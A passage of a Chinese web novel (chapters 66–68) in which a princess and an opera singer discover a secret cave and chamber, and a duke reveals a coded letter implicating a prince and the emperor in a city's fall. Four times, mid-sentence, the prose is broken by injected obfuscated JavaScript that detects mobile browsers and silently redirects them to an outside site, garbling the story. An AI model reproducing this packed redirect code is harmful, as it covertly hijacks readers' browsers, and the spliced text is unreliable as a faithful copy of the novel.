“都这个时候了还吃什么晚饭?”苻庆站起身,“换好衣服我即刻过去。” “公主。”松醪伸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446155|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手挡在了苻庆跟前,“那婢女特意嘱咐了,要公主一定要吃完晚饭再过去,切不可提前,免得影响了国公爷休息。” 冷静下来,苻庆也知道那婢女说得有理,只能叹口气重新坐在了梳妆台前。 因为晚上并没有宴席,松醪只是简单为苻庆绾了个堕马髻,粉蓝色的珠花簪在苻庆发间,平添了几分天真烂漫。 用晚饭时苻庆已经有些心不在焉,杜至善看在眼中,因此在晚饭结束后特意询问苻庆。 “公主,要不要我陪你一起去?” 苻庆摆手,“大伯既然说让我去,想必是想同我说几句话,我去去就回。” 杜至善也没再坚持,点点头送苻庆走出了听松居。 那婢女已经将英国公居住的瀚海山居位置告知了苻庆,因此苻庆连松醪也没有带着,孤身一人往瀚海山居匆匆赶去。 瀚海山居与听松居所在的厢房之间正好隔着一个后花园,婢女的意思本是要让苻庆多走一点绕过柳塘舫过去,但苻庆不愿意绕路,也不在意后花园有些漆黑,便直接走进了后花园。 刚走几步苻庆便觉得有些奇怪,这是又有一个人跟在了她的身后。苻庆本想甩开那人罢了,可是联想到昨晚在后花园的那道视线,苻庆又有些不放心。毕竟她是要去瀚海山居的,没道理将这种不干净的东西也引过去。 想到这,苻庆闪身躲到了一块假山石后头。 那人很快便发现自己好像跟丢了,月色朦胧,苻庆只能认真盯着那个人的身影。大约是因为找不到苻庆,那人也在原地徘徊不定,只是轻手轻脚地四处寻找着。 只看了一会苻庆便可以确定,至少对方并不是什么危险人物,毕竟无论她怎么看,对方都不像是武艺高强的样子。 待那个人退到这个假山附近,苻庆便举着一块石头悄无声息地走了上去。本想要在背后一石头砸下去无声无息地结果了他,谁知道石头刚举起来那人便转过了身。 “程怜香,怎么又是你?” 程怜香在这座几乎伸手不见五指的园子中本来就有些害怕,这会一转身便看见苻庆举着块石头站在眼前,差点翻白眼吓晕过去。 “程怜香!”苻庆眼疾手快一把扶住程怜香,对着他的人中狠狠一掐,才终于将对方又掐清醒过来。 “苻庆,你怎么下手这么狠啊?” “我又没看出来是你。”苻庆也有些后怕,“这夜黑风高的,你能不能别总是跟踪我?你又不是不知道我对外人下手是最狠的。” 苻庆的重点是“下手狠”,而程怜香听到的重点却是“外人”两个字。 既然如此是不是证明苻庆并没有将自己当做外人,程怜香忽然想到。 见程怜香不说话了,苻庆还以为程怜香是吓傻了没有回过神,干脆拉着程怜香到假山后面坐下。等到程怜香坐下后,苻庆看着程怜香仍然在盯着自己的大眼睛,忽然伸过手摸了摸程怜香的脑袋。 “顺顺毛,吓不着。不怕不怕,程怜香,快回来,快回来了。” 虽说被苻庆摸脑袋对于程怜香来说并不让他抗拒,但听了半天程怜香才发觉苻庆是在给自己叫魂,一时之间哭笑不得。 “好了公主,我没事了。” “那就好,我刚才还怕是把你魂给吓掉了呢。”苻庆站直了身子。 “公主,大晚上的这园子里又没有灯,您怎么一个人在这里?” 66. 山洞 “我反而觉得两个人才不安全呢。”苻庆眨眨眼,“这里距离我的听松居不远,倒是距离你们戏班子住的地方不近。程怜香,你不会是打算去听松居找我的吧?难道你终于想通了?” 再想到昨晚发生的事情,程怜香仍然能感觉到自己的脸迅速地泛起红晕,还好苻庆现在看不到。 “胡说什么?我是追着个人影过来的。” “人影?”苻庆指着自己的鼻子,“是说我吗?” “不是,”程怜香很确定地摇头,“刚才我在柳塘舫看到一个鬼鬼祟祟的人影进了后花园,我有些不放心才过来看看的。” “你不放心?你有什么不放心的?”苻庆哑然失笑,“难道你还怕这贼是专门去偷你们和春班东西的?” “你!” 实则是程怜香眼见着那个人进了后花园,想到苻庆就居住在这附近,这才会感到有些不放心,因此偷偷跟着那人进了后花园。没想到后花园地形如此复杂,再加上实在看不清楚路,这才在后面不小心将人跟丢。 “就算你是真的追着一个人影进来的,那又是怎么追到我后头去了?” 程怜香再开口的语气有些不善,“天太黑了,我找了好一会都没找着出去的路,正好碰到你走进来,我想着只要跟着你就能走出去了。” “那你倒是跟我说一声啊。” “我哪敢……”程怜香噤了声。若是之前程怜香肯定会主动上前与苻庆说明情况,但他们两个刚经历完昨晚的事情,一想到苻庆这个没心没肺的女人只是将自己当作了消遣的工具,而自己竟然还差点丢盔弃甲从了对方,程怜香便实在不愿意与苻庆单独见面。 苻庆这才想起来昨晚程怜香恨不得连滚带爬从听松居跑出去的样子,也就明白了程怜香不愿现身的原因。勾起嘴角轻轻一笑,也不点破此事。 看着程怜香气呼呼地坐在石头上,苻庆主动坐在了程怜香身旁。 “好了我不逗你了,你不是找不到出去的路了吗?我带你走出去。” 程怜香扭过头,正好与看着他的苻庆四目相对。 月色朦胧,唯有距离这么近的时候才能看清楚对方的样子。不知道是否是因为昨晚的原因,程怜香的目光又不知不觉地落在了苻庆的嘴唇上。也不知道对方是用了从哪里买回来的口脂,即便在这么暗的光亮下,程怜香依然能看到苻庆唇上的光泽。 那份光泽实在是耀眼,害得程怜香怎么也移不开自己的目光。 而且下一霎,这张带着光泽的嘴巴就向他靠近了过来。 头脑甚至还没来得及反应,程怜香就已经闭上了眼。 “等等,我怎么觉得这块石头有些奇怪。” “什么?”程怜香猛地睁开眼睛,这才发现苻庆的眼神并没有聚焦在自己脸上,而是避开他落在了他背后的假山上。 “我怎么觉得这块石头像是后装上去的?” 还好苻庆并没有发现自己刚才的异样,程怜香心中暗暗松了一口气。 仔细看向那块石头,程怜香并没有看出什么区别,只是隐约觉得那块石头好像颜色和周围对比起来有些深。“不可能吧?这种假山石应当都是天然形成的,若是人工做成的可就不值钱了。” 苻庆下意识觉得这块石头有些奇怪,伸手抚摸上去,也能感觉到这块石头好像比起周遭来说更加光滑。 “还是不太对。”苻庆说完,手掌轻轻用力推了那块石头一把。 谁知下一刻,两人坐着的石头忽然移动起来,而坐在上头的俩人毫无防备便一同滚入了山洞。 好在山洞并不深,程怜香落地的时候并没有感觉到太多疼痛。起身后程怜香第一反应便是赶紧查看苻庆的情况,但苻庆已经先他一步坐起了身,转过头来开始检查程怜香有没有受伤。 “程怜香,你没受伤吧?”苻庆捞住程怜香的胳膊细细摸过去,接着又伸向程怜香的腿。 程怜香先她一步攥住了苻庆的手,制止住了她摸自己腿的企图。 “我没事。”程怜香的手并未松开,“倒是你,摔疼了吗?” “这都是小事。我小时候爬高上梯的,摔得比这可厉害多了。”苻庆不以为意,却在想要抽回手的时候没有成功。看着苻庆看向自己双手的眼神,程怜香这才意识到自己有些冒犯,赶紧松开了苻庆的手。 苻庆以为程怜香是在担忧自己的手得到自由又会摸他的腿,赶紧解释道:“我不是占你便宜,只是想摸一摸你的腿有没有受伤。你既然不愿意,便自己站起来走几步吧,有时候骨头折断光靠看是看不出来的。” 程怜香小时候练功也并非没有摔过受过伤,自然明白苻庆刚才并非是图谋不轨。只是看到那双手伸过来的时候,他他下意识的反应便是将这双手握在手中。 “我知道的,小时候练功我自己也受过伤。”程怜香拉着苻庆站起身,“你放心,我没事。” 再三确定程怜香并没有受伤,苻庆放下心来。刚才他们掉落下来的位置已经又被石头堵住,原路返回已经是不可能,只能将希望寄托于在这座山洞中寻找到出去的方法。 由于山洞比起外面更加昏暗,苻庆只能用手沿着山洞内壁细细摩挲。刚走出两步便听到程怜香着急地说道:“苻庆,你要去哪!” 接着,程怜香便摸着黑走到苻庆身边,“这山洞危险,你不要独自行动。” 苻庆只当是程怜香害怕,安慰对方道:“别害怕,我就在这附近转转。” “不行。”程怜香靠得离苻庆更近,“我看不见你。” 苻庆觉得程怜香有点像是小孩子在闹脾气,轻轻笑了一声。 “既然如此,那我抓着你好了吧?”说完,苻庆伸出手握住了程怜香胳膊,“这样你就不用害怕了。” 程怜香本是不想苻庆涉险,但现在感受到苻庆的手抓着自己胳膊,瞬间又觉得这样安排也没什么不好。 “那……也行吧。”程怜香抿住嘴唇,不动声色地将苻庆手中的胳膊换成了自己的另一只手。 苻庆当然也感觉到了,但她只觉得程怜香的这些小动作有些可爱,因此也并未抗拒。 程怜香依稀能够辨认出苻庆是在墙壁上摩挲,也伸出手试着摸了摸墙壁。 “你在找什么?” “这山洞的入口既然能关闭,便证明这个山洞并非是天然形成。那既然是人为,便肯定会有旁的出口。” 程怜香点头,手掌也在墙上慢慢探查起来。 “这机关会是什么样子的啊?” “这我就不清楚了,但我能确定不论这山洞的设计者再怎样用心隐藏,也一定会有什么蛛丝马迹的。” 二人寻找了没多久,程怜香忽然感觉自己摸到了一块不对劲的地方。 “苻庆!” “怎么了?” “这里好像和别处不一样。” “在哪!” 光线实在太暗,还好他们两人还有一只手是牵在一起的。程怜香牵过苻庆的手,慢慢地按在了自己的另一只手。 苻庆的手指刚摸上去,便感觉这一块泥土的质感比其他地方都要更软。 苻庆第一反应是这种情况好像似曾相识,接着手已经快于脑子做出了选择。 苻庆的手陷入柔软的泥土,果然发现这不过是一块封住洞口的软泥,背后确实藏着一块很小的洞。拉动机关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446156|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,二人身侧出现一条密道,密道中有火折子,能够看到隐约透过来的光亮。 看到这光亮,苻庆心中总算松了口气。 “这不会有什么诈吧?” “这是英国公府,我大伯不会害我的。”苻庆拍拍手上的泥土,“走吧,这样应该就可以出去了。” 二人沿着密道只走了一会便看到出口,苻庆虽说对英国公很是信任,但到底还是走在了前面。走出门一看,赫然是一处小院。小院中此时静悄悄的,不仅没有下人,连盏灯都没有。 “是花厅。”苻庆有些疑惑,“真奇怪,从花园修一条密道来花厅做什么?这根本毫无用处啊。” 程怜香此时也已经从门内钻出来,伸手拍了拍衣袖上沾上的泥土。 “难道国公爷在花厅中还藏了什么秘密吗?” “秘密?”苻庆如梦初醒,重新返回密道中。 程怜香虽很是不解,却还是跟着苻庆又钻回密道。苻庆正蹲在地上仔细检查着什么,密道中点了火折子,光线终于明亮多了。 “我明白了。”苻庆站起身,伸出手一把拉住了程怜香的胳膊,“你跟我来。” “什么?” 还没等程怜香明白过来,苻庆已经将程怜香一路拉着回到了听松居。 眼见着苻庆要拖着自己往屋里走,程怜香终于想起来挣扎。 “苻庆!这不行啊!我们不能这样!” 在程怜香的挣扎下,苻庆的手反而更加有力。“你别闹,快跟我走。” “我没跟你闹!”程怜香只觉得苻庆应该是疯了,没办法只能在路过抄手游廊的时候干脆抱住了一根柱子,不论苻庆怎么说都不愿意再前进一步。“公主,即便你不问我的意见,你总要顾虑一下驸马的感受吧?若是咱们走回去正好撞上驸马,那我们岂不是……” 苻庆这才反应过来程怜香脑子里在想什么,虽说有些无奈,但这也确实与昨晚自己做的事情有关,苻庆也说不了程怜香什么,最终只能伸出手在程怜香的额头上轻轻拍了一下。 “我不是为了同你睡觉才把你拉过来的,我是要松醪帮我看着你点,一会我还得出去一趟。” “你都还要出去为什么不肯放过我?”程怜香捂着额头的样子看起来有些可怜巴巴,“难道你还要我在这等着你一会再回来吗?我……我们……这于礼不合!” “你……”苻庆被程怜香的样子逗笑,“我再说一遍,我不是为了睡你,我是为了保护你。” 程怜香一愣,“你说什么?” 正在他们两人争执不下2时,在屋中听到声音的松醪反而先走了出来。她也没想到说去看望英国公的苻庆为什么会拉着程怜香出现在这里,但还是赶紧走上前来。 “公主。” “松醪,还好你过来了。”苻庆终于看见了一个救星,“杜至善呢?还在屋里吗?” “驸马爷刚才出去了,可能又去见昔日的同僚了。”松醪看了扒着柱子不肯松手的程怜香一眼,谨慎地问道:“公主,您要把程伶人绑进屋里去吗?” 苻庆也无奈地瞥了程怜香一眼。 “松醪,刚才我和程怜香在后花园发现了一个机关,现在我要去确认一下这个机关的真正作用。至于程伶人,我不能带他去,但我又害怕他们的人到的会比我回来早。” 松醪瞬间了然,“公主是怕程伶人被当做外人灭口?” 苻庆点头,“大伯并不知道我同他的关系,所以我只能先让他待在咱们这里,至少有你在,我知道他们不会轻举妄动。” 松醪点头,“公主放心吧,奴婢在这里守着程伶人。若是驸马爷回来,奴婢会解释清楚的。” 67. 密室 再次回到花厅,苻庆重新打开了天井中通向密道的门。沿着密道往回走,很快便回到了那个山洞之中。 这次苻庆从密道的墙上取了一个火折子照明,寻找的过程中也就方便了许多,没一会便发现了地上有一块蒙了薄薄一层土的石板。 推开石板,苻庆顺手将火折子别在腰带上,接着轻轻跳了下去。 这一层的密道便昏暗了许多,苻庆重新点亮火折子,沿着地上的脚印痕迹往前走去。 拐过一个弯,忽然听到轻微的破空声。苻庆并不惊慌,只是向左边微微偏头便躲过了那支箭。 “只有我,程怜香没跟来。” 苻庆吹灭火折子重新插回腰间,认真地看向眼前人。 “大伯,您怎么在京城还用咱们锦西城的老一套啊?” 英国公哈哈大笑,好像很满意苻庆的出现。 “不愧是你爹的女儿,离开锦西城这么多年了竟然还没忘咱们的老传统。” 苻庆此时已经被这间密室的陈设吸引了目光,在密室中央摆着一个巨大的沙盘,一张大夏地图几乎覆盖了英国公背后的一整面墙。 “怎么样?是不是觉得很是眼熟?” 停顿半晌,苻庆终于敢走上前轻轻抚摸过那张沙盘。 “离开锦西城六年了,我甚至都没敢想过还能在京城中看到这个。” 英国公也推着轮椅走了过来,将手放到沙盘上轻轻摩挲。 “我还记得你小时候最爱爬到你爹帅厅里那张沙盘上玩了,你爹可高兴了,总跟我们说他的女儿未来也一定会是一个好将军。” 苻庆露出一个微笑,看着眼前的沙盘,脑子里浮现出从前蹲在沙盘上用这些士兵和马匹玩打仗游戏的样子。 “我爹就是这样,在他眼中我永远都是最好的。” 英国公看着苻庆若有所思的样子,心中一阵唏嘘。若是苻坚还活着,怎么会允许自己的女儿过着这般不自由的日子。 察觉到自己有些失态,苻庆收敛了情绪,抬头看向英国公。 “大伯,您还没回答我刚才的问题呢。”苻庆脑中回想着自己这一路看到的机关,“我总算想明白了,怪不得您五年前回京之后会主动提出要在京郊置办宅子。当时我便想大伯您明明是全天下最喜欢热闹的人,怎么会突然转了性子要住到什么僻静的地方去呢?” 英国公笑着点头。“京城不比咱们定州,想要神不知鬼不觉地做出这么大一个密室,在京内是万万不可能的。” “那大伯做这个密室的原因究竟是什么呢?总不能只是为了好玩吧。” 英国公并不着急回答,反而露出一个狡黠的笑容,灰白色的胡须微微颤抖。 “阿庆先别急着盘问我,你难道就没有什么要对我交代的?” “我?”苻庆已经知道英国公想要听什么,但还是嘴硬着说道:“我哪有什么要交代的。” “既然如此那我也不必手软了,知道了英国公府这么大一个秘密,那个小戏子是绝没有活命的可能了。”说着话,英国公用手划着轮椅走到桌边,摸出一张早就写好的信笺。“看在他用心为我贺寿的份上,我会让人给他挑一个山清水秀的风水宝地。” “”大伯!”苻庆自然知道英国公不会如此对待一个无辜之人,但也明白英国公已经猜到了事情的经过,因此只能认命地说道:“我说。” 接着,苻庆就把自己在生辰宴上因为被赐婚不满,因此头脑一热便将程怜香抢回府上做了面首,后来又将人放走的事情和盘托出。苻庆讲的很是含糊,却不妨碍英国公听得津津有味。 “反正大概就是这么回事了。”苻庆两手一摊,“要我说这都怪大伯您,这京城里戏班子那么多,谁能想到您偏偏还就请了和春班来呢。” 英国公此时已经笑得合不拢嘴,一只手在大腿上拍了好几下才能说出话来。 “我就说先前见你变得那么知礼懂事我还以为是你转了性子,如今看来这才对嘛,能做出抢人这种事的才是我们定州锦西城最能闯祸的苻庆。” “大伯!”苻庆咬着牙威胁道:“你再笑我要拔您胡子了!” 见苻庆有些恼羞成怒,英国公才勉为其难止住了笑声。 “这样也好,至少你的眼光还算不错。这程伶人长得确实是没话说,还有一副那么好的嗓子,你娘我不敢说,但你爹那我觉得是过关的。” “祝大伯!”苻庆的声音都变高了,“您又说!” “好好好,我不说了,不说了。”英国公怕苻庆真要上来揪自己胡子,赶紧举着手投降。 苻庆心中还有些别扭,却还是不得不说道:“总之程怜香是我的人,我保证他不会在外面乱说的,大伯您可千万别动他。” “你放心,你的人我怎么会动呢?”英国公故意在那三个字上加重了语气,在看到苻庆又露出生气的神情后,满意地大笑起来。 “好了大伯,该坦白的我都已经告诉您了,现在到您说了。”苻庆认真地看向英国公,“后花园中那个跟踪我的人,到底是谁?” 英国公伸手摸了一把自己的胡子,却没有立刻开口。 苻庆也不着急,只是静静地等待英国公开口。 “一会她便过来了,这些问题你可以亲自问她。” “我……”苻庆微微皱眉,与此同时密室一侧的书架忽然移动开,露出了一扇小门。 下一刻,国公夫人从那扇小门中走了进来。 “大伯母?” 国公夫人此时已经洗去了脸上的妆容,换了一件宝蓝色的窄袖褙子,头发也只是绾了个髻别在脑后。这一身衣服虽说没有白日里国公夫人的装束那般雍容华贵,但却更加适合她本人。 在这样朴素的装扮下,苻庆终于看清了国公夫人的真实样貌。另苻庆意外的是,国公夫人竟长了张十分貌美的脸庞,一双美眸顾盼神飞,眼眶中好像含着泪般,左眼下有一颗小痣,鼻梁高挺,肤色也很是白皙,乍看之下好似有辽人血统。 “公主莫再叫奴家大伯母了,若公主不嫌弃可以叫奴家的名字,婉娘。” “婉娘?”苻庆觉得这个名字有些耳熟,“我怎么记得原先在长金邑的时候,大伯的将军府中曾经有一个管家娘子,也叫做婉娘。” 婉娘笑着点头,“承蒙公主挂念,长金邑一别,婉娘已经许久没见过公主了。” 长金邑与锦西城都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446157|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 属于定州,两地之间距离不远,长金邑虽小,却更加靠近定州州府,也就成为了为锦西城转运粮草最重要的站点。苻庆小时候时常会跟着父亲苻坚将军到长金邑去,只不过苻坚将军是为着粮草转运的事情,而苻庆是为着去长金邑买东西。 别看长金邑只是比锦西城更靠近大夏腹地这不到一百里,已经比锦西城热闹多了,大街上各种商铺与小摊比锦西城也要丰富。苻庆那时候便带着母亲写好的清单,到长金邑一条一条进行购买。除此以外,还有苻庆在大街上看到的新鲜小玩意,她也都会买一点带回去给母亲看。 而在这个时候,需要谈论公事的苻坚将军和英国公便会将苻庆交给一个叫婉娘的管家娘子,由婉娘带着苻庆在城中四处游玩。 “你真的是婉娘!”苻庆心中又惊又喜,自从她离开锦西城后,不论在京城中遇见哪一位在锦西城时候的故交,都只觉得有种他乡遇故知的喜悦感。“怪不得今日我将那匹小木马送给大伯的时候,你连战马尾巴上要佩戴寄生的事情都能够说出来,当时我便觉得你绝不可能只是逃难到京城的流民那么简单。” 接着,苻庆微微一怔,“那这样说来,那天在假山后面监视我的人,也是你。” 婉娘与英国公对视一眼,转过头继续说道:“公主恕罪,其实那日奴家并未想到在后花园中见到的人会是公主您。” “这是什么意思?” 婉娘如弯月般的眉毛微微蹙起,“公主,昨日下午英国公府进了一个贼。” “什么贼这么不长眼?连英国公府都敢偷。”苻庆很是诧异,“大伯可将人交到府衙去了?” 婉娘轻轻摇头,“我们并没有抓住那个贼。” “你说什么?” “等我们赶到书房的时候,书房被翻得一片狼藉,而那个贼已经先一步离开了。” “离开了?在这?在英国公府?”苻庆连着问了三个问句,“这怎么可能?” 虽说现在的英国公府与从前在长金邑的英国公府已经没法比,英国公也已经交出了兵权与兵符,但还是有相当一部分仆从跟着英国公一路从长金邑回到了京城。这部分仆从大多数都是跟着英国公在战场上真刀真枪拼杀过的,武艺高强,绝不可能是连个偷东西的飞贼都抓不住的水平。 想到这,苻庆忽然心中一动。 “难道来的人并非是为了盗取钱财?” 婉娘再次看向英国公,英国公缓缓叹了口气,招手示意婉娘走到花瓶旁边,接着婉娘从花瓶中取出一封信。 “阿庆,这些话我憋在心中五年,今时今日也许确实到了该告诉你的时候。” 英国公从怀中取出苻庆今天送给他的木质小马,“其实在今日我看到你将这个小马拿出来的时候便明白,看来你这六年中也从未忘记过锦西城。” “那是我的故乡,那里有我的爹娘,还有我们的苻家军。”苻庆眼神灼灼,“爹总对我说,作为一个将军是无论如何都不能离开阵地的。” “好!”英国公猛地一拍腿,“既然如此,这些话我便放心地告诉你。” 苻庆已经预感到英国公会告知自己一个重要的消息,此刻的心里已经隐隐的兴奋起来。 68. 阴谋 “六年前锦西城陷落的时候我恰好不在定州,当时京城传我回来进行述职,我怎么都没想到长金邑一别,竟会是我与你父亲的最后一面。”说到这,英国公合上眼,仿佛又看到了在如火的夕阳下目送自己远去的苻坚将军,他孤身一人骑在马上,与周围的皑皑白雪逐渐融为一体。 “锦西城陷落后,皇上命我回到长金邑协助赵王与辽国议和,也是在那个时候我开始怀疑他们。按照道理来说,那个时间段并非是进京述职的时候,边关长久都没有战事,皇上也根本不用大费周章让我返京。” 苻庆的手无意识地捏住衣角,“大伯的意思是,皇上是故意让您离开长金邑的?” “我并没有证据,但是长金邑对于锦西城来说十分重要,若没有长金邑对于后方粮草的保障,锦西城陷落只是迟早的事情。为什么偏偏会在我离开长金邑的时候遇到辽国攻城,这此间的联系实在是让我不得不多想。” 苻庆知道英国公所说的话是对的,长金邑乃是支撑的锦西城后方的最后一道防线,若是长金邑支援不及时,锦西城很有可能变成一座孤城。这也是长金邑为什么长期由英国公驻扎的原因,锦西城好不容易遇到一个配合如此默契的后援,自然不愿意长金邑易主。 “可是到现在大伯既然敢将这些话告诉我,便不可能还只是猜测吧?” 英国公微笑,将那封信拿在手中。 “说起来,我们能得到这封信还多亏了婉娘。” 苻庆看向婉娘。 “婉娘的兄长曾是我最得力的副将,可惜后来他牺牲在了战场上。临死前他告诉我他有个亲妹妹被父母给卖了,他说他生平只有一个心愿,那便是将他的妹妹找回来。” “奴家小的时候被父母卖到了窑子里,是国公爷为奴家赎身,又允许奴家到了国公府做一位管家娘子。”婉娘眼神坚定,“若没有哥哥我不会被国公爷所救,若没有国公爷我便不可能活到今天。所以只要国公爷需要,便是刀山火海我也会闯。” 英国公看向婉娘的眼神中并未半点私情,而是看向自己得力下属的骄傲与安心。 “回到定州后,我一面配合赵王与辽国谈判,一面暗中将婉娘送入了赵王府。” 婉娘轻轻一笑,“奴家不才,小时候在窑子里也学过些唱曲的本事,好歹是派上了用场。” “在赵王府,婉娘发现赵王确实在与他人进行暗中传信,我怀疑那人便是皇上。但就在我们还想要仔细探查的时候,婉娘的身份被赵王所怀疑,婉娘费尽千辛万苦才从赵王府中偷了一封信出来,为着这封信婉娘几乎连命都搭上了。” 看着英国公递给自己的薄薄信笺,苻庆忽然觉得那封信有万斤之重。 “奴家只能确定那封信一定是赵王与串通之人所传递的,但……” 苻庆将信封缓缓打开,终于明白了英国公与婉娘的欲言又止所为何事。 那封信纸上确实写着许多字,但拼凑在一起却连不成一句完整的语言。 也就是说,这封信是一封密信。 “五年了,我们还是没有找到能够破译这封信的办法。”英国公缓缓呼出一口气。 五年前,他本以为自己一定能够迅速找到幕后真凶,起码给自己的好兄弟一个交代。却没想到五年过去,不仅自己要调查的事情毫无进展,还要看着自己兄弟的唯一骨血被禁足在一座庭院之中不得自由。 “至少,现在我们能够知道这封信的确很重要。”苻庆将信笺交还给英国公,“怪不得大伯明明多年来销声匿迹,却又忽然要举办一个声势如此浩大的生辰宴会呢,原来是为了试探。” 英国公见苻庆已经明白了自己的用心,笑着颔首:“你都将信递过来了,我若不做点事情,怎么对得起你叫我一声大伯?” “没办法,这些年主战派大多被皇帝外放,即便在京中我也不敢贸然联系。我能想到的,只有大伯的玉泉别院了。” “你在信中说你已经成婚,这提醒了我,我便想着既然敌暗我明,那我不如将水搅得再浑一些,到时候我不信他们还能够坐得住。” 苻庆忽然想到昨日晚宴时,婉娘忽然被婢女叫走的事情。 “那这么说,昨晚大伯也并非真的身体不适,这只是你们想出的试探之计?” 婉娘点头,“我们本想着若是那贼便潜藏在宾客之中,他若听到国公爷身体不适必不会放过这个好机会,却没想到在后花园见到的人竟然是公主。” “婉娘不怀疑我?” “公主是土生土长的定州人,苻坚将军又是我们定州的守护神。”婉娘微笑着看向苻庆,“公主放心,奴家此生都不会怀疑公主。” “也就是你们直到现在还愿意惦记着他……”苻庆的声音喑哑。忽然,苻庆想起另一桩事,有些激动地询问道:“那这样说来,大伯的腿莫非也是被他们……” “我知道你想说什么,但并不是。”英国公的手轻轻抚上自己的腿,“我的腿并非被他人所害,而是我自己甘心服的毒。” 苻庆的瞳孔放大,“什么?” “婉娘逃出赵王府后一直在我府中养病,赵王三番两次想要进我府中检查都被我搪塞过去。但就在这时,和谈结束了,皇帝召我与赵王一同返京。我知道若是我离开,国公府只怕就保不住了,因此我带上了婉娘与愿意跟我一同返京的仆从。”英国公的眼神转向他处,好像已经陷入了沉思。 “原来大伯当时回京就没想过再回去。” “我知道以我当时的情况是绝对没有胜算的,因此我只能养精蓄锐暂避锋芒。”英国公又想起了自己握着那瓶毒药时还有些颤抖的双手,“去宫宴之前我便已经做好了准备,在路上我服下了毒药。” 也因此,英国公在宫宴上突发疾病昏厥在地,后来即使醒了,却还是落下了半身麻痹的后遗症。 “我赌皇帝并不打算杀了我,因为我笃定他忌惮你父亲,忌惮我,便一定也会忌惮赵王。” 若是幕后真凶真的是皇帝,那他害死苻坚将军的原因只有可能是忌惮——他忌惮苻家军的势力,忌惮苻坚在定州的威望,因此便只能除掉苻坚。 “他是个自私的老东西,只要能达到他的目的,这些事我相信他做的出来。我只是没想到……”苻庆只觉得自己好像身处锦西城的冰天雪地之间,刺骨的寒冷尖锐地扎着她的皮肤与心脏。 “锦西城是大夏国的边疆要害,失去锦西城无异于将定州拱手送与辽国。这些年大夏为了守住锦西城付出了几代人的生命,他若是憎恨我们便罢了,为什么要让锦西城沦陷于敌人之手……” 英国公看着苻庆微微颤抖的肩膀,心中五味杂陈。他知道苻庆接受这件事必然还需要一点时间,更需要时间来处理自己心中的恨意与怒火。 “阿庆。” 婉娘也走上前,想要扶住苻庆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446158|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的肩膀,却在靠近苻庆的时候被苻庆伸出来的胳膊制止住了动作。 “大伯,多谢你今日愿意将这些真相告诉我。从前我还曾经退缩过,想过要不要就此放弃。如今我确定了,我绝不可能放弃复仇。”苻庆的眼神好像能够射出火焰,“即便是赌上我的性命,这辈子我最终的埋骨地也一定要在锦西城中。” 看着苻庆的样子,英国公好像又看到了那个同样拥有坚定眼神的男人。在锦西城的城墙之上,那个人也用这样的眼神坚定地眺望着远方。 英国公知道,那是燕云十六州的方向。 “阿庆我明白你的心思,但是现在还不到时候。”英国公拉住了苻庆的胳膊,“你的信我也已经看过了,杜至善这个人我还需要再看一看。” 苻庆本也没想过英国公能够立刻接受杜至善,毕竟对于英国公来说,杜至善实在是个完全不熟悉的后辈。 “大伯放心,我已经等了六年,也不差这几日。”苻庆拱手,“只是若大伯想好了,我就在公主府中静候佳音。” 待回到听松居,程怜香还在屋子内转着圈踱步,松醪看着对方急得团团转也不知道该怎么劝,只能放任程怜香在原地打转。 苻庆还没走进门,便被急匆匆跑出来的程怜香一把抱在怀中。 “太好了!你终于是回来了!” 松醪站在程怜香身后,不忍心打扰到程怜香的情绪,只能用口型告知苻庆,杜至善并未回来过。 “程怜香你松一松手,我快喘不上气了。” 程怜香这才发觉自己用了多大的力气,并且他们两人现在就站在庭院之中,实在是不像样子,赶紧松开了苻庆。 “公主。” 苻庆并不在意程怜香的冒犯举动,只是抚平袖子上的褶皱。“你可以走了,只不过今日之事千万不要告诉任何人。” 程怜香一愣,“这么说你刚才是去见过英国公了?” “这件事很复杂,不是你应该知道的。”苻庆自始至终都没想过把程怜香牵扯进来,“回去吧,回去好好唱你的戏吧。” “若是从前,我大约真的会听公主的话。” 苻庆一愣,一双眼睛疑惑地看向程怜香。 